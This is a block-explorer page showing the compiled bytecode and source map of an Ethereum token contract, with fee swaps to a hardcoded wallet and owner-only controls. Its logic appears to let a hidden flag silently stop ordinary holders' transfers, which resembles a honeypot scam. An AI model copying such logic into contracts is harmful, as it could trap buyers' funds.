10600a8190556009819055600855565b5f546001600160a01b03163314610514575f80fd5b600b805460ff19166001179055565b5f600454600a5461053360035490565b61053d919061135d565b6105479190611374565b905090565b60176020527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b0303545f8080527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b5460035491926105479290916105ae91906109eb565b906109eb565b5f6104253384846106cd565b5f60045460085461053360035490565b5f60045460095461053360035490565b5f546001600160a01b031633146105f5575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03821661065a575f80fd5b6001600160a01b03831661066c575f80fd5b6001600160a01b038381165f8181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116106d8575f80fd5b6001600160a01b0382166106ea575f80fd5b6001600160a01b0383166106fc575f80fd5b61070683836109f6565b801561071757506107178383610a52565b80156107295750610729838383610aa5565b801561073b575061073b838383610b6a565b156109e6578061075f846001600160a01b03165f9081526017602052604090205490565b106108d2576001600160a01b0383165f9081526016602052604090205460ff1615801561079957506001546001600160a01b038381169116145b80156107bd57506001600160a01b0382165f9081526016602052604090205460ff16155b80156107d15750600b54610100900460ff16155b156107f05760105460ff16156107e657505050565b6107f08383610c35565b6001600160a01b0383165f9081526017602052604090205461081290826109eb565b6001600160a01b0384165f908152601760205260408120919091556108378484610c74565b610841578161084c565b61084c848484610cb8565b6001600160a01b0384165f908152601760205260409020549091506108719082610da8565b6001600160a01b038085165f8181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108c49085815260200190565b60405180910390a350505050565b6001600160a01b0383165f9081526016602052604090205460ff16801561090757506001546001600160a01b03848116911614155b801561092b57506001600160a01b0382165f9081526016602052604090205460ff16155b801561093f5750600b54610100900460ff16155b156109e6576001600160a01b0382165f9081526017602052604090205461096690826109eb565b6001600160a01b038084165f9081526017602052604080822093909355908516815220546109949082610da8565b6001600160a01b038481165f8181526017602090815260409182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106c0565b505050565b5f6104788284611393565b6001545f906001600160a01b038381169116148015610a2d57506001600160a01b0383165f9081526016602052604090205460ff16155b15610425576001600c5f828254610a4491906113a6565b909155505050600192915050565b6001600160a01b0382165f9081526016602052604081205460ff16158015610a9257506001600160a01b0382165f9081526016602052604090205460ff16155b1561042557600b5460ff16610425575f80fd5b6001545f906001600160a01b03858116911614610b1357610ac46105c0565b82111580610ae957506001600160a01b0384165f9081526016602052604090205460ff165b80610b0b57506001600160a01b0383165f9081526016602052604090205460ff165b610b13575f80fd5b610b1b610523565b82111580610b4057506001600160a01b0384165f9081526016602052604090205460ff165b80610b6257506001600160a01b0383165f9081526016602052604090205460ff165b610474575f80fd5b6001600160a01b038084165f90815260166020526040808220549285168252812054909160ff908116911681158015610ba1575080155b8015610bbb57506001546001600160a01b03868116911614155b8015610bd257506001600160a01b03851661dead14155b15610c0b57610bdf6105d0565b6001600160a01b0386165f90815260176020526040902054610c019086610da8565b1115610c0b575f80fd5b8015610c2957600554841115610c29576010805460ff191660011790555b50600195945050505050565b610c3f8282610db3565b15610c7057305f908152601760205260409020546007548110610c6157506007545b610c6a81610e4f565b505f600c555b5050565b6001600160a01b0382165f9081526016602052604081205460ff161580156104785750506001600160a01b03165f9081526016602052604090205460ff1615919050565b5f80610cc48585610fd4565b1115610da1575f610cec610cd88686610fd4565b600454610ce690869061101e565b90611029565b305f90815260176020526040902054909150610d089082610da8565b305f81815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d589085815260200190565b60405180910390a360115415610d8f57610d8f3061dead610d8a601154610ce66004548961101e90919063ffffffff16565b6106cd565b610d9983826109eb565b915050610478565b5092915050565b5f61047882846113a6565b6001600160a01b0382165f9081526016602052604081205460ff16158015610df357506001600160a01b0382165f9081526016602052604090205460ff16155b8015610e0f5750600654305f9081526017602052604090205410155b8015610e1d5750600d5460ff165b8015610e315750600b54610100900460ff16155b8015610e3b575060015b8015610478575050600b5460ff1692915050565b600b805461ff0019166101001790556015546014546013545f92610e8892600292610ce69291610e829182906001610da8565b90610da8565b90505f610eaa82610ea46013548661102990919063ffffffff16565b9061101e565b90505f610eb784836109eb565b905047610ec382611034565b5f610ece47836109eb565b90505f610ef0610ee9601354886109eb90919063ffffffff16565b839061101e565b90505f610f086013548361102990919063ffffffff16565b90508015610f1a57610f1a8682611194565b6014545f90610f2e90610ce6856002611029565b90508015610f7657604051738b048a19ca72826f452561f05b0970683b5c0e0d9082156108fc029083905f818181858888f19350505050158015610f74573d5f803e3d5ffd5b505b478015610fbd57604051738b048a19ca72826f452561f05b0970683b5c0e0d9082156108fc029083905f818181858888f19350505050158015610fbb573d5f803e3d5ffd5b505b5050600b805461ff00191690555050505050505050565b6001545f906001600160a01b0390811690831603610ff55750600e54610429565b6001546001600160a01b03908116908416036110145750600f54610429565b5060125492915050565b5f6104788284611374565b5f610478828461135d565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611067576110676113b9565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110e291906113cd565b816001815181106110f5576110f56113b9565b6001600160a01b03909216602092830291909101909101528115610c705760025461112b9030906001600160a01b031684610648565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906111639085905f908690309042906004016113e8565b5f604051808303815f87803b15801561117a575f80fd5b505af115801561118c573d5f803e3d5ffd5b505050505050565b6002546111ac9030906001600160a01b031684610648565b60025460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611217573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061123c9190611458565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461128c575f80fd5b50565b5f80604083850312156112a0575f80fd5b82356112ab81611278565b946020939093013593505050565b5f805f606084860312156112cb575f80fd5b83356112d681611278565b925060208401356112e681611278565b929592945050506040919091013590565b5f60208284031215611307575f80fd5b813561047881611278565b5f8060408385031215611323575f80fd5b823561132e81611278565b9150602083013561133e81611278565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761042957610429611349565b5f8261138e57634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561042957610429611349565b8082018082111561042957610429611349565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113dd575f80fd5b815161047881611278565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156114385783516001600160a01b0316835260209384019390920191600101611411565b50506001600160a01b039590951660608401525050608001529392505050565b5f805f6060848603121561146a575f80fd5b505081516020830151604090930151909492935091905056fea2646970667358221220e28ac41a6da5159212723b8a1eca64d84523c168aac5f15606ae035935f3171f64736f6c634300081a0033

Deployed Bytecode Sourcemap

3160:12299:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4858:83;;;;;;;;;;-1:-1:-1;4928:5:0;;;;;;;;;;;;-1:-1:-1;;;4928:5:0;;;;4858:83;;;;;;;:::i;:::-;;;;;;;;8704:161;;;;;;;;;;-1:-1:-1;8704:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;8704:161:0;945:187:1;6468:100:0;;;;;;;;;;-1:-1:-1;6548:12:0;;6468:100;;;1283:25:1;;;1271:2;1256:18;6468:100:0;1137:177:1;10184:267:0;;;;;;;;;;-1:-1:-1;10184:267:0;;;;;:::i;:::-;;:::i;2197:103::-;;;;;;;;;;-1:-1:-1;2197:103:0;;;;;:::i;:::-;2252:4;2287:5;-1:-1:-1;;;;;2276:16:0;;;2287:5;;2276:16;;2197:103;5591:83;;;;;;;;;;-1:-1:-1;5591:83:0;;3435:2;2226:36:1;;2214:2;2199:18;5591:83:0;2084:184:1;4678:50:0;;;;;;;;;;-1:-1:-1;4678:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6841:119;;;;;;;;;;-1:-1:-1;6841:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6934:18:0;6907:7;6934:18;;;:9;:18;;;;;;;6841:119;1893:139;;;;;;;;;;;;;:::i;:::-;;6308:152;;;;;;;;;;;;;:::i;6208:92::-;;;;;;;;;;-1:-1:-1;6260:7:0;6287:5;-1:-1:-1;;;;;6287:5:0;6208:92;;;-1:-1:-1;;;;;2437:32:1;;;2419:51;;2407:2;2392:18;6208:92:0;2273:203:1;6968:87:0;;;;;;;;;;;;;:::i;13211:121::-;;;;;;;;;;;;;:::i;3235:23::-;;;;;;;;;;-1:-1:-1;3235:23:0;;;;-1:-1:-1;;;;;3235:23:0;;;5793:161;;;;;;;;;;;;;:::i;5962:87::-;;;;;;;;;;-1:-1:-1;6034:7:0;;;;;;;;;;;;-1:-1:-1;;;6034:7:0;;;;5962:87;;9299:167;;;;;;;;;;-1:-1:-1;9299:167:0;;;;;:::i;:::-;;:::i;14558:133::-;;;;;;;;;;;;;:::i;6057:143::-;;;;;;;;;;-1:-1:-1;6057:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6165:18:0;;;6138:7;6165:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6057:143;14421:129;;;;;;;;;;;;;:::i;2358:148::-;;;;;;;;;;-1:-1:-1;2358:148:0;;;;;:::i;:::-;;:::i;8704:161::-;8779:4;8796:37;8805:10;8817:7;8826:6;8796:8;:37::i;:::-;-1:-1:-1;8853:4:0;8704:161;;;;;:::o;10184:267::-;10282:4;10299:36;10309:6;10317:9;10328:6;10299:9;:36::i;:::-;-1:-1:-1;;;;;10375:19:0;;;;;;:11;:19;;;;;;;;10363:10;10375:31;;;;;;;;;10346:73;;10355:6;;10375:43;;10411:6;10375:35;:43::i;:::-;10346:8;:73::i;:::-;-1:-1:-1;10439:4:0;10184:267;;;;;;:::o;1893:139::-;2252:4;2287:5;-1:-1:-1;;;;;2287:5:0;2157:10;2276:16;2141:28;;;;;;1974:1:::1;1958:18:::0;;-1:-1:-1;;;;;;1958:18:0::1;::::0;;1992:32:::1;::::0;2419:51:1;;;1992:32:0::1;::::0;2407:2:1;2392:18;1992:32:0::1;;;;;;;1893:139::o:0;6308:152::-;2252:4;2287:5;-1:-1:-1;;;;;2287:5:0;2157:10;2276:16;2141:28;;;;;;6376:5:::1;6362:11;:19:::0;;;6392:16:::1;:24:::0;;;6427:17:::1;:25:::0;6308:152::o;6968:87::-;2252:4;2287:5;-1:-1:-1;;;;;2287:5:0;2157:10;2276:16;2141:28;;;;;;7023:17:::1;:24:::0;;-1:-1:-1;;7023:24:0::1;7043:4;7023:24;::::0;;6968:87::o;13211:121::-;13255:7;13312:12;;13298:11;;13282:13;6548:12;;;6468:100;13282:13;:27;;;;:::i;:::-;:42;;;;:::i;:::-;13275:49;;13211:121;:::o;5793:161::-;6934:9;:18;;;;5852:7;6934:18;;;;;5879:12;;5852:7;;5879:67;;6934:18;;5879:39;;:12;:16;:39::i;:::-;:43;;:67::i;9299:167::-;9377:4;9394:40;9404:10;9416:9;9427:6;9394:9;:40::i;14558:133::-;14608:7;14671:12;;14651:17;;14635:13;6548:12;;;6468:100;14421:129;14468:7;14530:12;;14511:16;;14495:13;6548:12;;;6468:100;2358:148;2252:4;2287:5;-1:-1:-1;;;;;2287:5:0;2157:10;2276:16;2141:28;;;;;;2438:5:::1;:15:::0;;-1:-1:-1;;;;;;2438:15:0::1;-1:-1:-1::0;;;;;2438:15:0;::::1;::::0;;::::1;::::0;;;2469:29:::1;::::0;2419:51:1;;;2469:29:0::1;::::0;2407:2:1;2392:18;2469:29:0::1;;;;;;;2358:148:::0;:::o;6576:257::-;-1:-1:-1;;;;;6669:21:0;;6661:30;;;;;;-1:-1:-1;;;;;6710:19:0;;6702:28;;;;;;-1:-1:-1;;;;;6741:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6793:32;;1283:25:1;;;6793:32:0;;1256:18:1;6793:32:0;;;;;;;;6576:257;;;:::o;7063:1633::-;7177:1;7160:6;:19;7152:28;;;;;;-1:-1:-1;;;;;7199:23:0;;7191:32;;;;;;-1:-1:-1;;;;;7242:20:0;;7234:29;;;;;;7294:33;7309:6;7317:9;7294:14;:33::i;:::-;:85;;;;;7344:35;7361:6;7369:9;7344:16;:35::i;:::-;7294:146;;;;;7396:44;7414:6;7422:9;7433:6;7396:17;:44::i;:::-;7294:212;;;;;7457:49;7480:6;7488:9;7499:6;7457:22;:49::i;:::-;7276:1413;;;7558:6;7537:17;7547:6;-1:-1:-1;;;;;6934:18:0;6907:7;6934:18;;;:9;:18;;;;;;;6841:119;7537:17;:27;7533:1145;;-1:-1:-1;;;;;7612:25:0;;;;;;:17;:25;;;;;;;;7611:26;:72;;;;-1:-1:-1;7675:8:0;;-1:-1:-1;;;;;7662:21:0;;;7675:8;;7662:21;7611:72;:126;;;;-1:-1:-1;;;;;;7709:28:0;;;;;;:17;:28;;;;;;;;7708:29;7611:126;:163;;;;-1:-1:-1;7763:11:0;;;;;;;7762:12;7611:163;7585:328;;;7821:14;;;;7817:27;;;7063:1633;;;:::o;7817:27::-;7866;7875:6;7883:9;7866:8;:27::i;:::-;-1:-1:-1;;;;;7951:17:0;;;;;;:9;:17;;;;;;:29;;7973:6;7951:21;:29::i;:::-;-1:-1:-1;;;;;7931:17:0;;;;;;:9;:17;;;;;:49;;;;8024:32;7941:6;8046:9;8024:13;:32::i;:::-;:81;;8099:6;8024:81;;;8059:37;8070:6;8078:9;8089:6;8059:10;:37::i;:::-;-1:-1:-1;;;;;8147:20:0;;;;;;:9;:20;;;;;;7999:106;;-1:-1:-1;8147:40:0;;7999:106;8147:24;:40::i;:::-;-1:-1:-1;;;;;8124:20:0;;;;;;;:9;:20;;;;;;;:63;;;;8211:43;;;;;;;;;;8239:14;1283:25:1;;1271:2;1256:18;;1137:177;8211:43:0;;;;;;;;7566:704;7063:1633;;;:::o;7533:1145::-;-1:-1:-1;;;;;8298:25:0;;;;;;:17;:25;;;;;;;;:64;;;;-1:-1:-1;8354:8:0;;-1:-1:-1;;;;;8344:18:0;;;8354:8;;8344:18;;8298:64;:114;;;;-1:-1:-1;;;;;;8384:28:0;;;;;;:17;:28;;;;;;;;8383:29;8298:114;:147;;;;-1:-1:-1;8434:11:0;;;;;;;8433:12;8298:147;8276:402;;;-1:-1:-1;;;;;8503:20:0;;;;;;:9;:20;;;;;;:32;;8528:6;8503:24;:32::i;:::-;-1:-1:-1;;;;;8480:20:0;;;;;;;:9;:20;;;;;;:55;;;;8574:17;;;;;;;:29;;8596:6;8574:21;:29::i;:::-;-1:-1:-1;;;;;8554:17:0;;;;;;;:9;:17;;;;;;;;;:49;;;;8627:35;1283:25:1;;;8627:35:0;;;;8554:17;;8627:35;;1256:18:1;8627:35:0;1137:177:1;8276:402:0;7063:1633;;;:::o;503:98::-;561:7;588:5;592:1;588;:5;:::i;12011:231::-;12122:8;;12088:4;;-1:-1:-1;;;;;12109:21:0;;;12122:8;;12109:21;:51;;;;-1:-1:-1;;;;;;12135:25:0;;;;;;:17;:25;;;;;;;;12134:26;12109:51;12105:108;;;12199:1;12177:10;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;;12230:4:0;12011:231;;;;:::o;10459:248::-;-1:-1:-1;;;;;10565:25:0;;10543:4;10565:25;;;:17;:25;;;;;;;;10564:26;:59;;;;-1:-1:-1;;;;;;10595:28:0;;;;;;:17;:28;;;;;;;;10594:29;10564:59;10560:118;;;10648:17;;;;10640:26;;;;;8873:418;9010:8;;8979:4;;-1:-1:-1;;;;;9000:18:0;;;9010:8;;9000:18;8996:155;;9058:19;:17;:19::i;:::-;9043:11;:34;;:63;;;-1:-1:-1;;;;;;9081:25:0;;;;;;:17;:25;;;;;;;;9043:63;:95;;;-1:-1:-1;;;;;;9110:28:0;;;;;;:17;:28;;;;;;;;9043:95;9035:104;;;;;;9184:13;:11;:13::i;:::-;9169:11;:28;;:57;;;-1:-1:-1;;;;;;9201:25:0;;;;;;:17;:25;;;;;;;;9169:57;:89;;;-1:-1:-1;;;;;;9230:28:0;;;;;;:17;:28;;;;;;;;9169:89;9161:98;;;;;10715:745;-1:-1:-1;;;;;10864:25:0;;;10816:4;10864:25;;;:17;:25;;;;;;;10934:28;;;;;;;;10816:4;;10864:25;;;;;10934:28;11001:24;;:68;;;;;11043:26;11042:27;11001:68;:115;;;;-1:-1:-1;11107:8:0;;-1:-1:-1;;;;;11086:30:0;;;11107:8;;11086:30;;11001:115;:165;;;;-1:-1:-1;;;;;;11133:33:0;;3780:42;11133:33;;11001:165;10983:285;;;11239:16;:14;:16::i;:::-;-1:-1:-1;;;;;11202:20:0;;;;;;:9;:20;;;;;;:32;;11227:6;11202:24;:32::i;:::-;11201:54;;11193:63;;;;;;11284:26;11280:149;;;11340:20;;11331:6;:29;11327:91;;;11381:14;:21;;-1:-1:-1;;11381:21:0;11398:4;11381:21;;;11327:91;-1:-1:-1;11448:4:0;;10715:745;-1:-1:-1;;;;;10715:745:0:o;14699:419::-;14776:30;14788:6;14796:9;14776:11;:30::i;:::-;14772:339;;;14872:4;14823:28;6934:18;;;:9;:18;;;;;;14921:15;;14897:39;;14893:118;;-1:-1:-1;14980:15:0;;14893:118;15025:36;15040:20;15025:14;:36::i;:::-;-1:-1:-1;15097:1:0;15076:10;:23;14772:339;14699:419;;:::o;12669:172::-;-1:-1:-1;;;;;12775:25:0;;12750:4;12775:25;;;:17;:25;;;;;;;;12774:26;:59;;;;-1:-1:-1;;;;;;;12805:28:0;;;;;:17;:28;;;;;;;;12804:29;;12669:172;-1:-1:-1;12669:172:0:o;9474:702::-;9568:7;9627:1;9592:32;9606:6;9614:9;9592:13;:32::i;:::-;:36;9588:552;;;9645:25;9673:67;9707:32;9721:6;9729:9;9707:13;:32::i;:::-;9689:12;;9673:29;;:11;;:15;:29::i;:::-;:33;;:67::i;:::-;9800:4;9782:24;;;;:9;:24;;;;;;9645:95;;-1:-1:-1;9782:47:0;;9645:95;9782:28;:47::i;:::-;9773:4;9755:24;;;;:9;:24;;;;;;;:74;;;;9849:50;;-1:-1:-1;;;;;9849:50:0;;;;;;;9881:17;1283:25:1;;1271:2;1256:18;;1137:177;9849:50:0;;;;;;;;9918:11;;:24;9914:159;;9963:94;9981:4;3780:42;10010:46;10044:11;;10010:29;10026:12;;10010:11;:15;;:29;;;;:::i;:46::-;9963:9;:94::i;:::-;10094:34;:11;10110:17;10094:15;:34::i;:::-;10087:41;;;;;9588:552;-1:-1:-1;10157:11:0;9474:702;-1:-1:-1;;9474:702:0:o;609:98::-;667:7;694:5;698:1;694;:5;:::i;12250:411::-;-1:-1:-1;;;;;12369:25:0;;12329:4;12369:25;;;:17;:25;;;;;;;;12368:26;:72;;;;-1:-1:-1;;;;;;12412:28:0;;;;;;:17;:28;;;;;;;;12411:29;12368:72;:135;;;;-1:-1:-1;12485:18:0;;12475:4;6907:7;6934:18;;;:9;:18;;;;;;12457:46;;12368:135;:170;;;;-1:-1:-1;12520:18:0;;;;12368:170;:199;;;;-1:-1:-1;12556:11:0;;;;;;;12555:12;12368:199;:240;;;;-1:-1:-1;12584:24:0;12368:240;:274;;;;-1:-1:-1;;12625:17:0;;;;;12250:411;-1:-1:-1;;12250:411:0:o;13340:1073::-;5717:11;:18;;-1:-1:-1;;5717:18:0;;;;;13487:10:::1;::::0;13465:16:::1;::::0;13437::::1;::::0;5717:18;;13436:70:::1;::::0;13504:1:::1;::::0;13437:61:::1;::::0;13487:10;13437:45:::1;::::0;;;5731:4;13437:20:::1;:23::i;:::-;:27:::0;::::1;:45::i;13436:70::-;13414:92;;13517:26;13546:45;13579:11;13546:28;13557:16;;13546:6;:10;;:28;;;;:::i;:::-;:32:::0;::::1;:45::i;:::-;13517:74:::0;-1:-1:-1;13602:20:0::1;13625:30;:6:::0;13517:74;13625:10:::1;:30::i;:::-;13602:53:::0;-1:-1:-1;13687:21:0::1;13719:30;13602:53:::0;13719:16:::1;:30::i;:::-;13760:16;13779:37;:21;13805:10:::0;13779:25:::1;:37::i;:::-;13760:56;;13827:15;13845:47;13858:33;13874:16;;13858:11;:15;;:33;;;;:::i;:::-;13845:8:::0;;:12:::1;:47::i;:::-;13827:65;;13903:23;13929:29;13941:16;;13929:7;:11;;:29;;;;:::i;:::-;13903:55:::0;-1:-1:-1;13973:28:0;;13969:110:::1;;14018:49;14031:18;14051:15;14018:12;:49::i;:::-;14131:16;::::0;14089:20:::1;::::0;14112:36:::1;::::0;:14:::1;:7:::0;14124:1:::1;14112:11;:14::i;:36::-;14089:59:::0;-1:-1:-1;14163:16:0;;14159:97:::1;;14196:48;::::0;3603:42:::1;::::0;14196:48;::::1;;;::::0;14231:12;;14196:48:::1;::::0;;;14231:12;3603:42;14196:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14159:97;14284:21;14320:20:::0;;14316:90:::1;;14357:37;::::0;3691:42:::1;::::0;14357:37;::::1;;;::::0;14386:7;;14357:37:::1;::::0;;;14386:7;3691:42;14357:37;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14316:90;-1:-1:-1::0;;5758:11:0;:19;;-1:-1:-1;;5758:19:0;;;-1:-1:-1;;;;;;;;13340:1073:0:o;15163:293::-;15281:8;;15244:7;;-1:-1:-1;;;;;15281:8:0;;;15268:21;;;;15264:72;;-1:-1:-1;15313:11:0;;15306:18;;15264:72;15360:8;;-1:-1:-1;;;;;15360:8:0;;;15350:18;;;;15346:70;;-1:-1:-1;15392:12:0;;15385:19;;15346:70;-1:-1:-1;15433:15:0;;15163:293;;;;:::o;291:98::-;349:7;376:5;380:1;376;:5;:::i;397:98::-;455:7;482:5;486:1;482;:5;:::i;11472:531::-;11562:16;;;11576:1;11562:16;;;;;;;;11538:21;;11562:16;;;;;;;;;;-1:-1:-1;11562:16:0;11538:40;;11607:4;11589;11594:1;11589:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11589:23:0;;;:7;;;;;;;;;;:23;;;;11633:10;;:17;;;-1:-1:-1;;;11633:17:0;;;;:10;;;;;:15;;:17;;;;;11589:7;;11633:17;;;;;:10;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11623:4;11628:1;11623:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11623:27:0;;;:7;;;;;;;;;;;:27;11665:15;;11661:335;;11729:10;;11697:57;;11714:4;;-1:-1:-1;;;;;11729:10:0;11742:11;11697:8;:57::i;:::-;11769:10;;:215;;-1:-1:-1;;;11769:215:0;;-1:-1:-1;;;;;11769:10:0;;;;:61;;:215;;11849:11;;11769:10;;11899:4;;11930;;11954:15;;11769:215;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11527:476;11472:531;:::o;12849:354::-;12962:10;;12930:57;;12947:4;;-1:-1:-1;;;;;12962:10:0;12975:11;12930:8;:57::i;:::-;12998:10;;:197;;-1:-1:-1;;;12998:197:0;;13065:4;12998:197;;;5927:51:1;5994:18;;;5987:34;;;12998:10:0;6037:18:1;;;6030:34;;;6080:18;;;6073:34;3780:42:0;6123:19:1;;;6116:61;13169:15:0;6193:19:1;;;6186:35;-1:-1:-1;;;;;12998:10:0;;;;:26;;13032:9;;5899:19:1;;12998:197:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12849:354;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:367::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;1832:247::-;1891:6;1944:2;1932:9;1923:7;1919:23;1915:32;1912:52;;;1960:1;1957;1950:12;1912:52;1999:9;1986:23;2018:31;2043:5;2018:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:168;3339:9;;;3370;;3387:15;;;3381:22;;3367:37;3357:71;;3408:18;;:::i;3439:217::-;3479:1;3505;3495:132;;3549:10;3544:3;3540:20;3537:1;3530:31;3584:4;3581:1;3574:15;3612:4;3609:1;3602:15;3495:132;-1:-1:-1;3641:9:1;;3439:217::o;3877:128::-;3944:9;;;3965:11;;;3962:37;;;3979:18;;:::i;4010:125::-;4075:9;;;4096:10;;;4093:36;;;4109:18;;:::i;4272:127::-;4333:10;4328:3;4324:20;4321:1;4314:31;4364:4;4361:1;4354:15;4388:4;4385:1;4378:15;4404:251;4474:6;4527:2;4515:9;4506:7;4502:23;4498:32;4495:52;;;4543:1;4540;4533:12;4495:52;4575:9;4569:16;4594:31;4619:5;4594:31;:::i;4660:959::-;4922:4;4970:3;4959:9;4955:19;5001:6;4990:9;4983:25;5044:6;5039:2;5028:9;5024:18;5017:34;5087:3;5082:2;5071:9;5067:18;5060:31;5111:6;5146;5140:13;5177:6;5169;5162:22;5215:3;5204:9;5200:19;5193:26;;5254:2;5246:6;5242:15;5228:29;;5275:1;5285:195;5299:6;5296:1;5293:13;5285:195;;;5364:13;;-1:-1:-1;;;;;5360:39:1;5348:52;;5429:2;5455:15;;;;5420:12;;;;5396:1;5314:9;5285:195;;;-1:-1:-1;;;;;;;5536:32:1;;;;5531:2;5516:18;;5509:60;-1:-1:-1;;5600:3:1;5585:19;5578:35;5497:3;4660:959;-1:-1:-1;;;4660:959:1:o;6232:456::-;6320:6;6328;6336;6389:2;6377:9;6368:7;6364:23;6360:32;6357:52;;;6405:1;6402;6395:12;6357:52;-1:-1:-1;;6450:16:1;;6556:2;6541:18;;6535:25;6652:2;6637:18;;;6631:25;6450:16;;6535:25;;-1:-1:-1;6631:25:1;6232:456;-1:-1:-1;6232:456:1:o

Swarm Source

ipfs://e28ac41a6da5159212723b8a1eca64d84523c168aac5f15606ae035935f3171f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.